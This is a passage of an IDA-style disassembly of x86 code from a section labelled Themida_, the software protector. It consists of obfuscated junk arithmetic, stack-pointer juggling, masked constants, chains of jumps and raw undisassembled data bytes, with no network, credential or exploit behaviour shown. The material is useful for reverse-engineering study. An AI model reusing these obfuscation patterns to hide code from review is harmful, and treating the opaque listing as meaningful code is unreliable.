		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F596:				; CODE XREF: Themida_:00550946j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FD20
; ---------------------------------------------------------------------------

loc_54F5A2:				; CODE XREF: Themida_:005499F2j
		add	cl, 1
		push	small 0
		add	byte ptr [esp],	9Fh
		sub	[esp], cl
		sub	byte ptr [esp],	9Fh
		jmp	loc_548EE8
; ---------------------------------------------------------------------------

loc_54F5B9:				; CODE XREF: Themida_:0054D347j
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp]
		jmp	loc_546426
; ---------------------------------------------------------------------------
		dd 15E9DE01h, 81FFFFB6h, 4C1h, 0D2AEE900h, 0C701FFFFh
		dd 5E95858h, 59000014h,	0D77B1105h, 0DBECE948h,	889FFFFh
		dd 83240C8Bh, 48B04C4h,	0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0E9C39D61h, 0FFFF6A2Eh
; ---------------------------------------------------------------------------

loc_54F610:				; CODE XREF: Themida_:0054C5F0j
		sub	dword ptr [esp+4], 48E0196Eh
		sub	[esp+4], edi
		add	dword ptr [esp+4], 48E0196Eh
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 723928CEh
		mov	edi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	466D7C69h
		pop	ebx
		push	0EB6h
		mov	[esp], ecx
		mov	ecx, 6406DCAh
		not	ecx
		inc	ecx
		xchg	edx, ecx
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		not	eax
		xchg	eax, edx
		jmp	loc_54748A
; ---------------------------------------------------------------------------
		dw 9168h
		dd 5D2AF622h, 8104EDC1h, 152604F5h, 4F82D7Ch, 0E9530C71h
		dd 0FFFFDDDEh, 0A4DE981h, 0E9C12305h, 0F1814105h, 8392071h
		dd 0C8BCB31h, 4C48124h,	0E9000000h, 0EFCh, 0B4505166h
		dd 1279E9E2h, 0F660000h, 5166C8B6h, 6960E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F6DE:				; CODE XREF: Themida_:005462F2j
		push	4CFF756Eh
		pop	ebx
		sub	ebx, 4CFF756Ah
		mov	eax, ebx
		jmp	loc_54A847
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 87h
		dd 8173D123h, 272C23C3h, 0AF68E967h, 0C89FFFFh,	2474FF24h
		dd 240C8B04h, 8F04C483h, 248B2404h, 3CD36624h, 4CE99C24h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F71F:				; CODE XREF: Themida_:0054D378j
		mov	edx, 12B014BBh
		or	edx, 41A132C0h
		push	ecx
		jmp	loc_54644A
; ---------------------------------------------------------------------------
		dd 5908CE81h, 0C6810D0Eh, 6AC45BCFh, 0BD0E9h, 0D8CF8100h
		dd 8101E229h, 0EA01F6F7h, 0F7814F24h, 289825DAh, 8743DF87h
		dd 0DB6BE9DFh, 0F280FFFFh, 0FFD030F4h, 815A2434h, 4C4h
		dd 59B45000h, 0FFBD0EE9h, 58C609FFh, 0E9FFC683h, 0C11h
		dd 8B24048Fh, 0F662424h, 9C2404B3h, 0FF68ADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F791:				; CODE XREF: Themida_:0054F11Ej
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54668E
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFB15Dh, 4B30F66h, 8BE99C24h,	0B8FFFF68h
		dd 6B8D624Ch, 0D08E8C1h, 75413E36h, 4A2A235h, 58C62110h
		dd 0F3D1EE81h, 0C3811941h, 7B8D72EDh, 0EB81F329h, 7B8D72EDh
		dd 8324348Bh, 19E904C4h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F7E7:				; CODE XREF: Themida_:005510AAj
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_54F11D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 5C240487h, 54241489h, 4C2815Ah, 57000000h, 4BFh
		dd 5FFA0100h, 0FFA32FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F815:				; CODE XREF: Themida_:00551AF7j
		push	5AAFh
		jmp	loc_5485A1
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFCDD0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F825:				; CODE XREF: Themida_:0054C145j
		add	ebx, 6477016Eh
		push	dword ptr [ebx]
		add	dword ptr [esp], 19E66687h
		pop	ecx
		push	edi
		mov	edi, 703636D4h
		jmp	loc_551249
; ---------------------------------------------------------------------------
		dd 4E49EE81h, 0E9461BD1h, 0FFFF9A9Fh
; ---------------------------------------------------------------------------

loc_54F84C:				; CODE XREF: Themida_:0054CFE3j
		xor	dword ptr [esp], 6D213AA0h
		pop	eax
		xor	eax, 6D213AA0h
		mov	ebp, [esp]
		jmp	loc_5474A8
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FF9DE1E9h, 5EF729FFh, 78BF5753h, 81391501h,	0FC1A9BEFh
		dd 0A92BE933h, 48BFFFFh, 0D5CFE924h, 0CD81FFFFh, 38082D46h
		dd 1CF3E950h, 0C4810000h, 4, 0FF728BE9h, 3DA0BBFFh, 0D80173CBh
		dd 29E2685Bh, 3C890000h, 40B95124h, 817A3E56h, 0E3A4BE9h
		dd 58F18104h, 0C169B60Dh, 0C98108E9h, 41F973E0h, 0EF45E981h
		dd 23E91084h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8D3:				; CODE XREF: Themida_:00551760j
		push	edx
		push	73922AEDh
		jmp	loc_54C11A
; ---------------------------------------------------------------------------

loc_54F8DE:				; CODE XREF: Themida_:00546EE0j
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54AB0D
; ---------------------------------------------------------------------------
		db 28h,	0F7h, 5Ah
		dd 80ACCF80h, 0F8304DF7h, 8BC2885Bh, 3AE92404h,	81FFFF7Eh
		dd 0DF5159C6h, 0E9D62967h, 3D6h, 0BCED8145h, 31272E4Ch
		dd 0CA015DE9h, 241C8B59h, 3304C483h, 14312414h,	24143324h
		dd 9CC1385Ch, 0FF6709E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F935:				; CODE XREF: Themida_:00550C27j
		add	esp, 4
		jmp	loc_5507C8
; ---------------------------------------------------------------------------

loc_54F940:				; CODE XREF: Themida_:0054ADABj
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55034B
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 5
		dd 8106E6C1h, 0A2756BC6h, 29C381BAh, 29305048h,	29EB81F3h
		dd 0E9305048h, 1C7Dh, 3005B353h, 0C1805BD9h, 0A9F18062h
		dd 8059CA88h, 0CAFECAF2h, 0FF8284E9h, 40BE56FFh, 291D6D78h
		dd 34E95EF7h, 57000006h, 5F117FBFh, 0B3CF812Bh,	0E9174351h
		dd 0FFFF7CF0h
; ---------------------------------------------------------------------------

loc_54F9A8:				; CODE XREF: Themida_:0054F403j
		push	ecx
		jmp	loc_549F8B
; ---------------------------------------------------------------------------

loc_54F9AE:				; CODE XREF: Themida_:00548EAAj
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	332h
		mov	[esp], ebp
		push	edi
		mov	edi, ebx
		push	ecx
		mov	ecx, edi
		push	ecx
		push	ebp
		mov	ebp, 1F96FABh
		add	[esp+4], ebp
		pop	ebp
		pop	ebp
		push	ecx
		jmp	loc_54E95B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 45C243Ch,	2CD80030h, 52510430h, 0FFA226E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F9F1:				; CODE XREF: Themida_:0054E45Cj
		dec	ecx
		not	ecx
		sub	ecx, 96D5D1B6h
		sub	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 76D6047Dh
		jmp	loc_5494C9
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 5F5h
; ---------------------------------------------------------------------------

loc_54FA10:				; CODE XREF: Themida_:00549B92j
		neg	edx
		shr	edx, 4
		not	edx
		or	edx, 0D7F6544h
		sub	edx, 0D66457B8h
		or	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 80008046h
		sub	edi, 1C131FDAh
		sub	edi, 3C15A58h
		jmp	loc_54A811
; ---------------------------------------------------------------------------

loc_54FA3D:				; CODE XREF: Themida_:0054CF13j
		push	esi
		mov	esi, ebx
		push	esi
		pop	dword ptr [edi+20h]
		pop	esi
		pop	ebx

loc_54FA46:				; CODE XREF: Themida_:0054BEBEj
					; Themida_:loc_54FE50j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54F4F4
; ---------------------------------------------------------------------------
		db 29h,	0CFh, 0E9h
		dd 0FFFFDB62h, 240C8B66h, 0FFD4F7E9h, 0C3815BFFh, 4, 8AC68h
		dd 24148900h, 0A90DE953h, 48BFFFFh, 0E2895224h,	4C281h
		dd 0C2830000h, 5F956804h, 14890000h, 2474FF24h,	48F5A04h
		dd 24248B24h, 54B368h, 0C8EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FAA2:				; CODE XREF: Themida_:0054B5D7j
		sub	edx, 25340EC5h
		add	edx, 35801575h
		or	edx, 1D143937h
		dec	edx
		add	edx, 0C0A8824Ch
		mov	esi, edx
		jmp	loc_54DE99
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4517030Ah, 0FFB594E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FACD:				; CODE XREF: Themida_:0054EF8Bj
		add	edi, 4
		jmp	loc_54A95F
; ---------------------------------------------------------------------------

loc_54FAD8:				; CODE XREF: Themida_:0054603Fj
		xor	al, bl
		push	ecx
		jmp	loc_54ABFA
; ---------------------------------------------------------------------------
		dd 8106EDC1h, 517D6E5h,	0D4E94D0Fh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FAEF:				; CODE XREF: Themida_:0054AE0Cj
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_547BEF
; ---------------------------------------------------------------------------

loc_54FAFE:				; CODE XREF: Themida_:00546610j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_548870
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E2C68107h, 5137A359h, 0E20C55B9h, 59CE2913h, 0FFCC96E9h
		dd 4EC83FFh, 0E9242489h, 0FFFF9159h
; ---------------------------------------------------------------------------

loc_54FB34:				; CODE XREF: Themida_:0054A813j
		add	edi, 3C15A58h
		add	edi, 1C131FDAh
		jmp	loc_54931E
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 81h
		dd 0D15D27E9h, 33E95E22h, 33FFFFF0h, 0B3E92404h, 0B9FFFF92h
		dd 4, 5159CD01h, 752ED5B9h, 0D409E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB6E:				; CODE XREF: Themida_:0054CB4Dj
		mov	edx, 4D1A2965h
		shr	edx, 3
		inc	edx
		sub	edx, 0B7052AE8h
		jmp	loc_548591
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 2D000000h,	5DA4FE3h, 0DFE9C601h, 8BFFFFFEh
		dd 0B5E9240Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB9F:				; CODE XREF: Themida_:0054949Dj
		add	ebp, ebx
		pop	ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_54708F
; ---------------------------------------------------------------------------
		dd 1F65EB81h, 0EBC17229h, 0F7C38104h, 1F68291h,	241C8BDEh
		dd 0FFD651E9h, 2C44BDFFh, 0ED81782Ah, 5446557Dh, 0AF3ED81h
		dd 31E959D4h, 87FFFFFDh, 515C240Ch, 42474FFh, 11A8E9h
		dd 0E9C22900h, 0FFFF89CAh, 25F168h, 242C8900h, 104F43BDh
		dd 2444817Ch, 955E2B04h, 246C2952h, 8CEBE904h, 8355FFFFh
		dd 348904ECh, 2F0B6824h, 815E3FB9h, 46577DF6h, 12B3E908h
		dd 81590000h, 4C1h, 4E98300h, 0FFCE22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FC39:				; CODE XREF: Themida_:0054C0ECj
		sub	edi, 0C0EC1342h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D83F
; ---------------------------------------------------------------------------
		dd 66C8285Ah, 1C8B6659h, 2C48324h, 6504D828h, 0FFBB5FE9h
		dd 0C7815BFFh, 4, 5C243C87h, 0E9243C33h, 0FFFFB679h, 2AE939B4h
		dd 68FFFF9Bh, 549B2816h, 0E2F3815Bh, 8966FC12h,	783E9D8h
		dd 8B660000h, 0CC682404h, 89000048h, 0EC81243Ch, 4, 83242489h
		dd 8B042404h, 0C483243Ch, 0D221E904h, 0C801FFFFh, 4EC8359h
		dd 0BD242C89h, 4, 875DE801h, 295C2404h,	4C7C2DD8h, 0B95132E9h
		dd 186178D9h, 262BF181h, 0D9F74048h, 0E9C1D9F7h, 0DED0E908h
		dd 0EE81FFFFh, 67DF5159h, 0FFA5C7E9h, 0F18159FFh, 6F5F6A3Dh
		dd 0CE1BE56h, 0F1295768h, 8124348Bh, 4C4h, 0C5E98100h
		dd 816A5A54h, 894784F1h, 0E4E951B7h, 0E9000013h, 0FFFF631Eh
; ---------------------------------------------------------------------------

loc_54FD20:				; CODE XREF: Themida_:0054F59Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	6994A4Fh
		pop	ebp
		push	edi
		push	6D16232Fh
		jmp	loc_5497F6
; ---------------------------------------------------------------------------
		dd 4244481h, 2037F48h, 4247C01h, 4246C81h, 2037F48h, 0FFEAD5E9h
		dd 0A5E381FFh, 81254D01h, 0C873EFC3h, 5BD90151h, 0C21CE981h
		dd 0CE89A366h, 0FF8792E9h, 50CAFEFFh, 0C200C4B0h, 0D0885058h
		dd 48BC788h, 4EC8324h, 0E9243489h, 0FFFF85D0h
; ---------------------------------------------------------------------------

loc_54FD9C:				; CODE XREF: Themida_:00546689j
		mov	edi, 2000h
		push	51C3h
		mov	[esp], esi
		push	edi
		sub	dword ptr [esp], 1D5E0F67h
		pop	esi
		add	esi, 1D5E0F67h
		push	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		push	dword ptr [esp]
		jmp	loc_546352
; ---------------------------------------------------------------------------

loc_54FDCB:				; CODE XREF: Themida_:00548626j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5475CC
; ---------------------------------------------------------------------------
		dd 243C895Ch, 0E904EC83h, 18Fh,	0BFC28142h, 29961773h
		dd 4FE95AD1h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FDEF:				; CODE XREF: Themida_:0054E4BAj
		pop	ebx
		add	esp, 4
		push	38B3h
		mov	[esp], ebx
		jmp	loc_547142
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFA5C4E9h, 958BDFFh, 32681D35h, 89000010h, 30B9240Ch
		dd 0E92DE174h, 0FFFF9DA1h, 5AD1295Fh, 0FFECC0E9h, 1C77FFFFh
		dd 0D259669Dh, 0E99C241Ch, 0FFFF6206h, 68243C89h, 2273h
		dd 0FFFA1CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FE45:				; CODE XREF: Themida_:00547184j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54603E
; ---------------------------------------------------------------------------

loc_54FE50:				; CODE XREF: Themida_:0054B4CFj
		jz	loc_54FA46
		push	ebx
		mov	ebx, 364B4760h
		sub	ebx, 6A3D320Dh
		push	0
		jmp	loc_54F21F
; ---------------------------------------------------------------------------
		dd 2434FF54h, 54706858h, 34890000h, 0CAE95424h,	59FFFFC9h
		dd 0C9E96704h, 88000014h, 0C76DE9EAh, 0C381FFFFh, 12A63CD9h
		dd 0E950C329h, 0FFFF8472h, 0E9B6B151h, 0FFFFD582h, 728FC181h
		dd 1DE95122h, 8BFFFFDAh, 92E92404h, 81000022h, 1219D4CDh
		dd 59F58154h, 811FF140h, 0AF677DEDh, 2BF58109h,	1C21494h
		dd 242C8BEEh, 4C481h, 0C6830000h, 0BC16E904h, 77FFFFFFh
		dd 59669D1Ch, 241CD366h, 0B082E99Ch, 0C381FFFFh, 7241EE1h
		dd 0EB81D301h, 7241EE1h, 0E9F3295Ah, 0FFFFDFA0h
; ---------------------------------------------------------------------------

loc_54FF08:				; CODE XREF: Themida_:0054BB51j
		neg	ebx
		xor	ebx, 75045268h
		not	ebx
		add	ebx, 99674AFh
		sub	edx, ebx
		pop	ebx
		add	eax, 3BAB643Eh
		jmp	loc_548E57
; ---------------------------------------------------------------------------

loc_54FF25:				; CODE XREF: Themida_:00549EE8j
		sub	[esp], ebx
		add	dword ptr [esp], 7C461C80h
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 0DD2055BDh
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5520CD
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 4
		push	ecx
		jmp	loc_54A744
; ---------------------------------------------------------------------------
		db 89h
		dd 0BEE92414h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF77:				; CODE XREF: Themida_:00551E66j
		mov	eax, 5401609Fh
		add	[esp+8], eax
		pop	eax
		sub	dword ptr [esp+4], 578867C5h
		add	dword ptr [esp+4], 1F7D107Ah
		sub	[esp+4], edi
		jmp	loc_5460A8
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 24148BD7h, 2D04C483h, 46C21FAh, 4D7F0505h, 0E9F8297Ah
		dd 0D24h
; ---------------------------------------------------------------------------

loc_54FFB4:				; CODE XREF: Themida_:00549183j
		pop	ebp
		jmp	loc_54E381
; ---------------------------------------------------------------------------

loc_54FFBA:				; CODE XREF: Themida_:0054F4BAj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_549255
; ---------------------------------------------------------------------------
		db 81h
		dd 210198C7h, 8AC78105h, 1855E6Fh, 0B9515FFBh, 367F0117h
		dd 778CBD55h, 0BE562BE9h, 300ADA20h, 0E95EF501h, 0FFFFEE1Fh
; ---------------------------------------------------------------------------

loc_54FFF4:				; CODE XREF: Themida_:00550323j
		add	esp, 4
		jmp	loc_547D8B
; ---------------------------------------------------------------------------

loc_54FFFF:				; CODE XREF: Themida_:0054E22Aj
		pop	esi
		jmp	loc_54D065
; ---------------------------------------------------------------------------
		db 0E9h, 34h, 60h
		dd 0E189FFFFh, 4C181h, 9BE90000h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550017:				; CODE XREF: Themida_:00547EC8j
		push	edi
		mov	edi, 7FFE0091h
		sub	edi, 57AD031Fh
		not	edi
		neg	edi
		push	esi
		push	edx
		jmp	loc_54B294
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 58E688C1h, 919E950h,	0DAF60000h, 0F657B050h,	0E9C8FED8h
		dd 0FFFFBD67h
; ---------------------------------------------------------------------------

loc_550048:				; CODE XREF: Themida_:0054E8CDj
		add	ebp, 4
		jmp	loc_551A9D
; ---------------------------------------------------------------------------

loc_550053:				; CODE XREF: Themida_:0054BD0Bj
		add	ebp, 4
		jmp	loc_54D7FF
; ---------------------------------------------------------------------------

loc_55005E:				; CODE XREF: Themida_:00550A45j
		add	bl, 42h
		add	al, bl
		pop	ebx
		sub	bl, 0C3h
		push	eax
		mov	al, 98h
		add	al, 58h
		add	bl, al
		pop	eax
		jmp	loc_54C18C
; ---------------------------------------------------------------------------
		dd 0CEFEC6FEh, 8048E680h, 0B2524CC6h, 0B7536659h, 66FA08F8h
		dd 97C2805Bh, 32E9D000h, 0B6FFFFEEh, 61A6E97Dh,	268FFFFh
		dd 5B000000h, 6FCFC781h, 0DF016A62h, 0FFA312E9h, 4C481FFh
		dd 0
		dd 0EFDBE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500BA:				; CODE XREF: Themida_:0054E899j
		mov	ebx, 540C06CBh
		jmp	loc_551E9E
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 0D907E924h, 8145FFFFh, 881879CDh
		dd 0ED814D4Bh, 4B883E7Ah, 34FFEF01h, 0C4835D24h, 243C8704h
		dd 0FF7CD8E9h, 0E9525BFFh, 1587h, 9D1C77FFh, 14D25966h
		dd 37E99C24h, 81FFFF5Fh, 42404h, 3C8B0000h, 91E95124h
		dd 56FFFFD1h, 0F03D7FBEh, 19E4BD59h, 0E3E94EE3h, 8100000Eh
		dd 4C6h, 6C8CE900h, 0C083FFFFh,	72BE902h, 56580000h, 0FFA103E9h
		dd 240489FFh, 4B8h, 0A8FFE900h,	0EF81FFFFh, 0D141B960h
		dd 425FFA89h, 0E2C1EAD1h, 6E2C108h, 0FBEA814Ah,	55A190FFh
		dd 951135BDh, 8E5C148h,	30C58145h, 0E96EF126h, 0FFFF9788h
; ---------------------------------------------------------------------------

loc_55017C:				; CODE XREF: Themida_:0054A214j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_548FE3
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 58h
		dd 1D664BDh, 0F1815BD9h, 2070A874h, 6905C781h, 0CF292808h
		dd 6905EF81h, 0C8B2808h, 0E7895724h, 4C781h, 0C2E90000h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5501B7:				; CODE XREF: Themida_:0054C02Fj
		mov	edx, 7A2E38A0h
		jmp	loc_54651B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXh8r		db 'Xh8R',0
		align 2
		dw 0C89h
		dd 81E18924h, 4C1h, 17B85000h, 0C173E714h, 0E8C105E0h
		dd 48D0F703h, 3A07642Dh, 0BC5AE938h, 0B7B8FFFFh, 2966763Bh
		dd 24048BC2h, 4C481h, 0F2290000h, 3BB7C281h, 348B6676h
		dd 4C48124h, 0E9000000h, 0FFFF99F1h, 0E9C1D9F7h, 84F18103h
		dd 8936C530h, 0A8E959CEh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550227:				; CODE XREF: Themida_:0054671Fj
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55027B
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 534CBB53h, 0E3C157EEh, 4E3C106h, 0CB81EBD1h,	4C8B4787h
		dd 53D6BF57h, 0FB013CF7h, 4EB815Fh, 2964FEF2h, 0E9595BD8h
		dd 0FFFF6E6Eh, 8B24048Fh, 4002424h, 0C3E99C24h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55027B:				; CODE XREF: Themida_:00550239j
		xor	edi, [esp]
		pop	esp
		jmp	loc_551ADD
; ---------------------------------------------------------------------------
		dd 0B9h, 0DD9EE900h, 0C481FFFFh, 4, 31243433h, 34332434h
		dd 66E95C24h, 0FF000006h, 34FF2434h, 89515B24h,	0D1F4E9E1h
		dd 0D0F7FFFFh, 1DF9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5502B9:				; CODE XREF: Themida_:0054CF20j
		pop	ebp
		jmp	loc_549F20
; ---------------------------------------------------------------------------

loc_5502BF:				; CODE XREF: Themida_:005520E4j
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_547A43
; ---------------------------------------------------------------------------

loc_5502D0:				; CODE XREF: Themida_:005523B8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_547834
; ---------------------------------------------------------------------------

loc_5502F0:				; CODE XREF: Themida_:00547D02j
		pop	edi
		jmp	loc_54EFF5
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 0A66CE904h, 0C281FFFFh, 4, 4BD55h, 0EA010000h, 0FFD975E9h
		dd 81D6F7FFh, 4EFC72EEh, 0E9F0899Ah, 0FFFF757Fh
; ---------------------------------------------------------------------------

loc_550320:				; CODE XREF: Themida_:0055180Ej
		mov	ebp, [esp]
		jmp	loc_54FFF4
; ---------------------------------------------------------------------------
		dd 0C580DDF6h, 80D5F614h, 0EA8881EDh, 83240C8Bh, 0C23004C4h
		dd 3FF28058h, 0F5AD300h, 0D7E9C0B6h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55034B:				; CODE XREF: Themida_:0054F94Cj
		push	edi
		jmp	loc_547371
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 34870000h, 24248B24h, 170068h, 24148900h, 1BE56h
		dd 71E90000h, 80FFFFEAh, 0C380C1EBh, 0C0B60FDAh, 688734FFh
		dd 20B9h, 0FF73C6E9h, 40478FFFh, 0FF5CADE9h, 4AC681FFh
		dd 125A904h, 0BB535EF0h, 67AB32D2h, 0F707E3C1h,	3C381D3h
		dd 1D59969h, 6219E9D8h,	524AFFFFh, 5A2414F7h, 0D110C281h
		dd 0EB81DC3Eh, 2C931EB1h, 0EAE9D301h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5503CB:				; CODE XREF: Themida_:0054B2A9j
		pop	esi
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54AA3F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0F6AEB624h, 813AE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5503FA:				; CODE XREF: Themida_:005481C6j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	3797h
		mov	[esp], ebp
		jmp	loc_54C0FA
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 2904C483h, 24048BC6h, 8B04C483h, 67E92414h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550427:				; CODE XREF: Themida_:0054C542j
		mov	ebp, esp
		push	edi
		push	eax
		jmp	loc_54E461
; ---------------------------------------------------------------------------
		dd 0E9D3F743h, 0FFFFFD51h, 5A58525Fh, 0E91C4709h, 0FFFFB492h
		dd 0C388DE88h, 5A66F088h, 0FF9DE7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550451:				; CODE XREF: Themida_:0054C7A1j
		xchg	eax, [esp]
		jmp	loc_54C53E
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 4Fh
		dd 0F0E9h
		db 0
; ---------------------------------------------------------------------------

loc_550461:				; CODE XREF: Themida_:0054976Aj
		mov	esi, edi
		pop	edi
		or	ebp, esi
		pop	esi
		xor	ebp, 63DFF7F5h
		jmp	loc_54CD5E
; ---------------------------------------------------------------------------

loc_550472:				; CODE XREF: Themida_:0054C945j
		sub	ebp, 9CD29829h
		add	eax, ebp
		pop	ebp
		jmp	loc_548B86
; ---------------------------------------------------------------------------
		dd 405h, 0FCA8E900h, 0F829FFFFh, 0DB42DD2Dh, 0E95F5F23h
		dd 0FFFF5BA6h
; ---------------------------------------------------------------------------

loc_550498:				; CODE XREF: Themida_:0054E257j
		mov	bh, cl
		pop	ecx
		push	edx
		mov	dh, 0F9h
		or	bh, dh
		pop	edx
		sub	bh, 27h
		push	eax
		push	ecx
		jmp	loc_54862B
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5BB6h, 89241489h,	3F4168E2h, 0C890000h, 16E7B924h
		dd 0EEE91B76h, 59FFFFB0h, 0FFA9BDE9h, 48B66FFh,	59545124h
		dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 0C5815D54h
		dd 4, 249168h, 241C8900h, 2BBh,	0BE565700h, 5B73697Ah
		dd 0FF9B9BE9h, 4C483FFh, 0CB72CC05h, 0E9D82956h, 0FFFFCAD0h
		dd 79C5BD55h, 0C5812322h, 61B8765Ah, 6FC4ED81h,	0CD81264Eh
		dd 282234C3h, 0B4D9F581h, 0E9E97EAEh, 1FFFFC2h,	1705E9FAh
		dd 875C0000h, 665C2434h, 9C242CD3h, 0FFD689E9h,	386866FFh
		dd 0D645E973h, 0CE29FFFFh, 0EED14E59h, 0A67AC681h, 8156D0F3h
		dd 5A922434h, 81597012h, 125A92F1h, 0EA815E70h,	0EA94CB7h
		dd 3BE9CA01h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550583:				; CODE XREF: Themida_:0054DA30j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_548A2D
; ---------------------------------------------------------------------------
		dw 0C89h
